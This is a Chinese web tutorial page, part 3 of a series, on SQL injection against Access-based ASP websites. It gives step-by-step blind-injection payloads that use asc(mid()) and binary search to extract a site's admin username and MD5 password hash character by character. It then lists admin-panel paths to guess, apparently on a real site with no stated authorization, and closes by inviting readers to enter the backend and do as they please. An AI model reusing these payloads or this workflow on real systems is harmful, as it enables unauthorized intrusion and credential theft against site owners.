解读SQL注入漏洞初级应用之Access篇(3)_Access数据库教程

编辑Tag赚U币
教程Tag:暂无Tag,欢迎添加,赚取U币!

推荐:解读ADO访问不同数据库的差别
Microsoft公司提供了统一的数据访问接口ActiveX Data Object,简称ADO。但实际应用编程中,访问不同的数据库,如Access、SQL Server或VFP,会存在一些“细微”差别,常常有这样的情况,用ADO对象访问某一数据库的程序都调试通过了,但用同样的程序访问其他数

  7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119)。

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。

  8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗。

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!

分享:如何防止Access 2000密码被破
如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它:  程序一(VB6):Access 2000密码破译 Private Sub Command1_Click() Const Off

共3页上一页123下一页
来源:模板无忧//所属分类:Access数据库教程/更新时间:2010-02-08
相关Access数据库教程